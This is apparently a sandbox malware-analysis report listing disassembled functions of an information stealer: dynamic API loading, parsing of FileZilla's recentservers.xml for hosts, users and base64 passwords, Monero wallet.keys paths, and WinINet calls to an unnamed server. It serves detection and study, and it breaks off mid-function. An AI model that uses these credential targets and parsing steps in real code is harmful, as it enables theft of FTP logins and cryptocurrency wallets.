Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 22daf803adba7f55558a9213d54987d9707c3c4b80da7d7ea3dbebe0e6445042
Instruction ID: 211025eb8a959c50005d105899a95d45148d983ae893a2374a7452629f84e3e6
Opcode Fuzzy Hash: 22daf803adba7f55558a9213d54987d9707c3c4b80da7d7ea3dbebe0e6445042
Instruction Fuzzy Hash: B7D05E7490030CDBCB00DFE4E94A6DDBB78FB18311F000554D90573340EA70A496CAA6

Function 00339C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00F14DA0), ref: 00339C2D
GetProcAddress.KERNEL32(75900000,00F14F00), ref: 00339C45
GetProcAddress.KERNEL32(75900000,00F296C8), ref: 00339C5E
GetProcAddress.KERNEL32(75900000,00F29638), ref: 00339C76
GetProcAddress.KERNEL32(75900000,00F2D640), ref: 00339C8E
GetProcAddress.KERNEL32(75900000,00F2D658), ref: 00339CA7
GetProcAddress.KERNEL32(75900000,00F1ACE8), ref: 00339CBF
GetProcAddress.KERNEL32(75900000,00F2D5B0), ref: 00339CD7
GetProcAddress.KERNEL32(75900000,00F2D6A0), ref: 00339CF0
GetProcAddress.KERNEL32(75900000,00F2D538), ref: 00339D08
GetProcAddress.KERNEL32(75900000,00F2D670), ref: 00339D20
GetProcAddress.KERNEL32(75900000,00F14E40), ref: 00339D39
GetProcAddress.KERNEL32(75900000,00F14DC0), ref: 00339D51
GetProcAddress.KERNEL32(75900000,00F14EC0), ref: 00339D69
GetProcAddress.KERNEL32(75900000,00F14F20), ref: 00339D82
GetProcAddress.KERNEL32(75900000,00F2D688), ref: 00339D9A
GetProcAddress.KERNEL32(75900000,00F2D5E0), ref: 00339DB2
GetProcAddress.KERNEL32(75900000,00F1ADD8), ref: 00339DCB
GetProcAddress.KERNEL32(75900000,00F15080), ref: 00339DE3
GetProcAddress.KERNEL32(75900000,00F2D5C8), ref: 00339DFB
GetProcAddress.KERNEL32(75900000,00F2D610), ref: 00339E14
GetProcAddress.KERNEL32(75900000,00F2D568), ref: 00339E2C
GetProcAddress.KERNEL32(75900000,00F2D628), ref: 00339E44
GetProcAddress.KERNEL32(75900000,00F150A0), ref: 00339E5D
GetProcAddress.KERNEL32(75900000,00F2D6B8), ref: 00339E75
GetProcAddress.KERNEL32(75900000,00F2D6D0), ref: 00339E8D
GetProcAddress.KERNEL32(75900000,00F2D5F8), ref: 00339EA6
GetProcAddress.KERNEL32(75900000,00F2D520), ref: 00339EBE
GetProcAddress.KERNEL32(75900000,00F2D550), ref: 00339ED6
GetProcAddress.KERNEL32(75900000,00F2D580), ref: 00339EEF
GetProcAddress.KERNEL32(75900000,00F2D598), ref: 00339F07
GetProcAddress.KERNEL32(75900000,00F2CFF8), ref: 00339F1F
GetProcAddress.KERNEL32(75900000,00F2CF98), ref: 00339F38
GetProcAddress.KERNEL32(75900000,00F2A8C8), ref: 00339F50
GetProcAddress.KERNEL32(75900000,00F2CFC8), ref: 00339F68
GetProcAddress.KERNEL32(75900000,00F2CF20), ref: 00339F81
GetProcAddress.KERNEL32(75900000,00F150C0), ref: 00339F99
GetProcAddress.KERNEL32(75900000,00F2D010), ref: 00339FB1
GetProcAddress.KERNEL32(75900000,00F15100), ref: 00339FCA
GetProcAddress.KERNEL32(75900000,00F2D088), ref: 00339FE2
GetProcAddress.KERNEL32(75900000,00F2D160), ref: 00339FFA
GetProcAddress.KERNEL32(75900000,00F15120), ref: 0033A013
GetProcAddress.KERNEL32(75900000,00F15140), ref: 0033A02B
LoadLibraryA.KERNEL32(00F2D0D0,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A03D
LoadLibraryA.KERNEL32(00F2CF68,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A04E
LoadLibraryA.KERNEL32(00F2D1D8,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A060
LoadLibraryA.KERNEL32(00F2D1F0,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A072
LoadLibraryA.KERNEL32(00F2CF50,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A083
LoadLibraryA.KERNEL32(00F2D178,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A095
LoadLibraryA.KERNEL32(00F2D0E8,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A0A7
LoadLibraryA.KERNEL32(00F2D100,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A0B8
GetProcAddress.KERNEL32(75FD0000,00F15320), ref: 0033A0DA
GetProcAddress.KERNEL32(75FD0000,00F2D028), ref: 0033A0F2
GetProcAddress.KERNEL32(75FD0000,00F29130), ref: 0033A10A
GetProcAddress.KERNEL32(75FD0000,00F2CFE0), ref: 0033A123
GetProcAddress.KERNEL32(75FD0000,00F154E0), ref: 0033A13B
GetProcAddress.KERNEL32(73B60000,00F1AAE0), ref: 0033A160
GetProcAddress.KERNEL32(73B60000,00F151C0), ref: 0033A179
GetProcAddress.KERNEL32(73B60000,00F1AB08), ref: 0033A191
GetProcAddress.KERNEL32(73B60000,00F2D190), ref: 0033A1A9
GetProcAddress.KERNEL32(73B60000,00F2D0A0), ref: 0033A1C2
GetProcAddress.KERNEL32(73B60000,00F15300), ref: 0033A1DA
GetProcAddress.KERNEL32(73B60000,00F15380), ref: 0033A1F2
GetProcAddress.KERNEL32(73B60000,00F2D040), ref: 0033A20B
GetProcAddress.KERNEL32(763B0000,00F15340), ref: 0033A22C
GetProcAddress.KERNEL32(763B0000,00F15460), ref: 0033A244
GetProcAddress.KERNEL32(763B0000,00F2D1A8), ref: 0033A25D
GetProcAddress.KERNEL32(763B0000,00F2D118), ref: 0033A275
GetProcAddress.KERNEL32(763B0000,00F151E0), ref: 0033A28D
GetProcAddress.KERNEL32(750F0000,00F1AE50), ref: 0033A2B3
GetProcAddress.KERNEL32(750F0000,00F1ABD0), ref: 0033A2CB
GetProcAddress.KERNEL32(750F0000,00F2CF38), ref: 0033A2E3
GetProcAddress.KERNEL32(750F0000,00F153A0), ref: 0033A2FC
GetProcAddress.KERNEL32(750F0000,00F15480), ref: 0033A314
GetProcAddress.KERNEL32(750F0000,00F1A9A0), ref: 0033A32C
GetProcAddress.KERNEL32(75A50000,00F2D058), ref: 0033A352
GetProcAddress.KERNEL32(75A50000,00F15280), ref: 0033A36A
GetProcAddress.KERNEL32(75A50000,00F29290), ref: 0033A382
GetProcAddress.KERNEL32(75A50000,00F2D070), ref: 0033A39B
GetProcAddress.KERNEL32(75A50000,00F2D148), ref: 0033A3B3
GetProcAddress.KERNEL32(75A50000,00F152A0), ref: 0033A3CB
GetProcAddress.KERNEL32(75A50000,00F15200), ref: 0033A3E4
GetProcAddress.KERNEL32(75A50000,00F2D130), ref: 0033A3FC
GetProcAddress.KERNEL32(75A50000,00F2D0B8), ref: 0033A414
GetProcAddress.KERNEL32(75070000,00F154A0), ref: 0033A436
GetProcAddress.KERNEL32(75070000,00F2D1C0), ref: 0033A44E
GetProcAddress.KERNEL32(75070000,00F2CF80), ref: 0033A466
GetProcAddress.KERNEL32(75070000,00F2D208), ref: 0033A47F
GetProcAddress.KERNEL32(75070000,00F2CFB0), ref: 0033A497
GetProcAddress.KERNEL32(74E50000,00F153C0), ref: 0033A4B8
GetProcAddress.KERNEL32(74E50000,00F154C0), ref: 0033A4D1
GetProcAddress.KERNEL32(75320000,00F15220), ref: 0033A4F2
GetProcAddress.KERNEL32(75320000,00F2D328), ref: 0033A50A
GetProcAddress.KERNEL32(6F060000,00F152E0), ref: 0033A530
GetProcAddress.KERNEL32(6F060000,00F15500), ref: 0033A548
GetProcAddress.KERNEL32(6F060000,00F15400), ref: 0033A560
GetProcAddress.KERNEL32(6F060000,00F2D418), ref: 0033A579
GetProcAddress.KERNEL32(6F060000,00F152C0), ref: 0033A591
GetProcAddress.KERNEL32(6F060000,00F15520), ref: 0033A5A9
GetProcAddress.KERNEL32(6F060000,00F15540), ref: 0033A5C2
GetProcAddress.KERNEL32(6F060000,00F15360), ref: 0033A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0033A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0033A607
GetProcAddress.KERNEL32(74E00000,00F2D358), ref: 0033A629
GetProcAddress.KERNEL32(74E00000,00F291B0), ref: 0033A641
GetProcAddress.KERNEL32(74E00000,00F2D2B0), ref: 0033A659
GetProcAddress.KERNEL32(74E00000,00F2D2C8), ref: 0033A672
GetProcAddress.KERNEL32(74DF0000,00F151A0), ref: 0033A693
GetProcAddress.KERNEL32(6FA70000,00F2D460), ref: 0033A6B4
GetProcAddress.KERNEL32(6FA70000,00F15240), ref: 0033A6CD
GetProcAddress.KERNEL32(6FA70000,00F2D298), ref: 0033A6E5
GetProcAddress.KERNEL32(6FA70000,00F2D388), ref: 0033A6FD

Strings

HttpQueryInfoA, xrefs: 0033A5FC
InternetSetOptionA, xrefs: 0033A5E5

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: d57775746f97e7b837e6761e690305138da0bf85663ac97dc4a1c02b3282459b
Instruction ID: df38c8386932f23459b5ee11e5901f9d4f7bc495514792b33a9ded1d69147844
Opcode Fuzzy Hash: d57775746f97e7b837e6761e690305138da0bf85663ac97dc4a1c02b3282459b
Instruction Fuzzy Hash: B4625FB5500240AFC748DFACEE8895637F9F7AC301714851AE605E3235DBB9A84AFF52

Function 00327710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00327724
RtlAllocateHeap.NTDLL(00000000), ref: 0032772B
lstrcat.KERNEL32(?,00F29FC8), ref: 003278DB
lstrcat.KERNEL32(?,?), ref: 003278EF
lstrcat.KERNEL32(?,?), ref: 00327903
lstrcat.KERNEL32(?,?), ref: 00327917
lstrcat.KERNEL32(?,00F2E350), ref: 0032792B
lstrcat.KERNEL32(?,00F2E4B8), ref: 0032793F
lstrcat.KERNEL32(?,00F2E548), ref: 00327952
lstrcat.KERNEL32(?,00F2E308), ref: 00327966
lstrcat.KERNEL32(?,00F1C4F0), ref: 0032797A
lstrcat.KERNEL32(?,?), ref: 0032798E
lstrcat.KERNEL32(?,?), ref: 003279A2
lstrcat.KERNEL32(?,?), ref: 003279B6
lstrcat.KERNEL32(?,00F2E350), ref: 003279C9
lstrcat.KERNEL32(?,00F2E4B8), ref: 003279DD
lstrcat.KERNEL32(?,00F2E548), ref: 003279F1
lstrcat.KERNEL32(?,00F2E308), ref: 00327A04
lstrcat.KERNEL32(?,00F1C558), ref: 00327A18
lstrcat.KERNEL32(?,?), ref: 00327A2C
lstrcat.KERNEL32(?,?), ref: 00327A40
lstrcat.KERNEL32(?,?), ref: 00327A54
lstrcat.KERNEL32(?,00F2E350), ref: 00327A68
lstrcat.KERNEL32(?,00F2E4B8), ref: 00327A7B
lstrcat.KERNEL32(?,00F2E548), ref: 00327A8F
lstrcat.KERNEL32(?,00F2E308), ref: 00327AA3
lstrcat.KERNEL32(?,00F1C1B0), ref: 00327AB6
lstrcat.KERNEL32(?,?), ref: 00327ACA
lstrcat.KERNEL32(?,?), ref: 00327ADE
lstrcat.KERNEL32(?,?), ref: 00327AF2
lstrcat.KERNEL32(?,00F2E350), ref: 00327B06
lstrcat.KERNEL32(?,00F2E4B8), ref: 00327B1A
lstrcat.KERNEL32(?,00F2E548), ref: 00327B2D
lstrcat.KERNEL32(?,00F2E308), ref: 00327B41
lstrcat.KERNEL32(?,00F1C148), ref: 00327B55
lstrcat.KERNEL32(?,?), ref: 00327B69
lstrcat.KERNEL32(?,?), ref: 00327B7D
lstrcat.KERNEL32(?,?), ref: 00327B91
lstrcat.KERNEL32(?,00F2E350), ref: 00327BA4
lstrcat.KERNEL32(?,00F2E4B8), ref: 00327BB8
lstrcat.KERNEL32(?,00F2E548), ref: 00327BCC
lstrcat.KERNEL32(?,00F2E308), ref: 00327BDF
lstrcat.KERNEL32(?,00F1C488), ref: 00327BF3
lstrcat.KERNEL32(?,?), ref: 00327C07
lstrcat.KERNEL32(?,?), ref: 00327C1B
lstrcat.KERNEL32(?,?), ref: 00327C2F
lstrcat.KERNEL32(?,00F2E350), ref: 00327C43
lstrcat.KERNEL32(?,00F2E4B8), ref: 00327C56
lstrcat.KERNEL32(?,00F2E548), ref: 00327C6A
lstrcat.KERNEL32(?,00F2E308), ref: 00327C7E

Part of subcall function 003275D0: lstrcat.KERNEL32(3560C020,003417FC), ref: 00327606
Part of subcall function 003275D0: lstrcat.KERNEL32(3560C020,00000000), ref: 00327648
Part of subcall function 003275D0: lstrcat.KERNEL32(3560C020, : ), ref: 0032765A
Part of subcall function 003275D0: lstrcat.KERNEL32(3560C020,00000000), ref: 0032768F
Part of subcall function 003275D0: lstrcat.KERNEL32(3560C020,00341804), ref: 003276A0
Part of subcall function 003275D0: lstrcat.KERNEL32(3560C020,00000000), ref: 003276D3
Part of subcall function 003275D0: lstrcat.KERNEL32(3560C020,00341808), ref: 003276ED
Part of subcall function 003275D0: task.LIBCPMTD ref: 003276FB

lstrcat.KERNEL32(?,00F2E920), ref: 00327E0B
lstrcat.KERNEL32(?,00F2DE68), ref: 00327E1E
lstrlen.KERNEL32(3560C020), ref: 00327E2B
lstrlen.KERNEL32(3560C020), ref: 00327E3B

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: cf21b9ed4575a38ff9a8e986d0ebdd7e907eb0b0995ab0fbadc84f7042962bb1
Instruction ID: 218023d87614445548202ce9c6f52e7ddffb85ea3b9d189dab7060ba767aec94
Opcode Fuzzy Hash: cf21b9ed4575a38ff9a8e986d0ebdd7e907eb0b0995ab0fbadc84f7042962bb1
Instruction Fuzzy Hash: 05320EB2900314ABC716EBA4DC85DEE737CBB54700F044A98F219B7090EBB5E78A9F51

Function 00330250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 00338DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00338E0B

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003299EC
Part of subcall function 003299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00329A11
Part of subcall function 003299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00329A31
Part of subcall function 003299C0: ReadFile.KERNEL32(000000FF,?,00000000,0032148F,00000000), ref: 00329A5A
Part of subcall function 003299C0: LocalFree.KERNEL32(0032148F), ref: 00329A90
Part of subcall function 003299C0: CloseHandle.KERNEL32(000000FF), ref: 00329A9A

Part of subcall function 00338E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00338E52

GetProcessHeap.KERNEL32(00000000,000F423F,00340DBA,00340DB7,00340DB6,00340DB3), ref: 00330362
RtlAllocateHeap.NTDLL(00000000), ref: 00330369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00330385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 00330393
StrStrA.SHLWAPI(00000000,<Port>), ref: 003303CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 003303DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00330419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 00330427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00330463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 00330475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 00330502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 0033051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 00330532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 0033054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00330562
lstrcat.KERNEL32(?,profile: null), ref: 00330571
lstrcat.KERNEL32(?,url: ), ref: 00330580
lstrcat.KERNEL32(?,00000000), ref: 00330593
lstrcat.KERNEL32(?,00341678), ref: 003305A2
lstrcat.KERNEL32(?,00000000), ref: 003305B5
lstrcat.KERNEL32(?,0034167C), ref: 003305C4
lstrcat.KERNEL32(?,login: ), ref: 003305D3
lstrcat.KERNEL32(?,00000000), ref: 003305E6
lstrcat.KERNEL32(?,00341688), ref: 003305F5
lstrcat.KERNEL32(?,password: ), ref: 00330604
lstrcat.KERNEL32(?,00000000), ref: 00330617
lstrcat.KERNEL32(?,00341698), ref: 00330626
lstrcat.KERNEL32(?,0034169C), ref: 00330635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 0033068E

Strings

<User>, xrefs: 00330410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 003302A4
password: , xrefs: 003305FB
<Host>, xrefs: 0033037C
<Pass encoding="base64">, xrefs: 0033045A
url: , xrefs: 00330577
browser: FileZilla, xrefs: 00330559
login: , xrefs: 003305CA
<Port>, xrefs: 003303C6
profile: null, xrefs: 00330568

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 45a949efff37a43844f270ab6038b6099f1913e775924f06cac9e8863b131b09
Instruction ID: 82e77213a1c3405f362bf2c8910d37b87ece1a7d685720e1cfd6129bb2657e24
Opcode Fuzzy Hash: 45a949efff37a43844f270ab6038b6099f1913e775924f06cac9e8863b131b09
Instruction Fuzzy Hash: 1ED11A72900608ABCB06EBF4DDD6EEE7778EF14300F544518F542BB091DE74AA4ADB62

Function 00325100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00324839
Part of subcall function 003247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00324849

lstrlen.KERNEL32(00000000), ref: 00325193

Part of subcall function 00338EA0: CryptBinaryToStringA.CRYPT32(00000000,00325184,40000001,00000000,00000000,?,00325184), ref: 00338EC0

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00325207
StrCmpCA.SHLWAPI(?,00F2E9A0), ref: 00325225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00325340
HttpOpenRequestA.WININET(00000000,00F2E9C0,?,00F2E4D0,00000000,00000000,00400100,00000000), ref: 003253A4

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
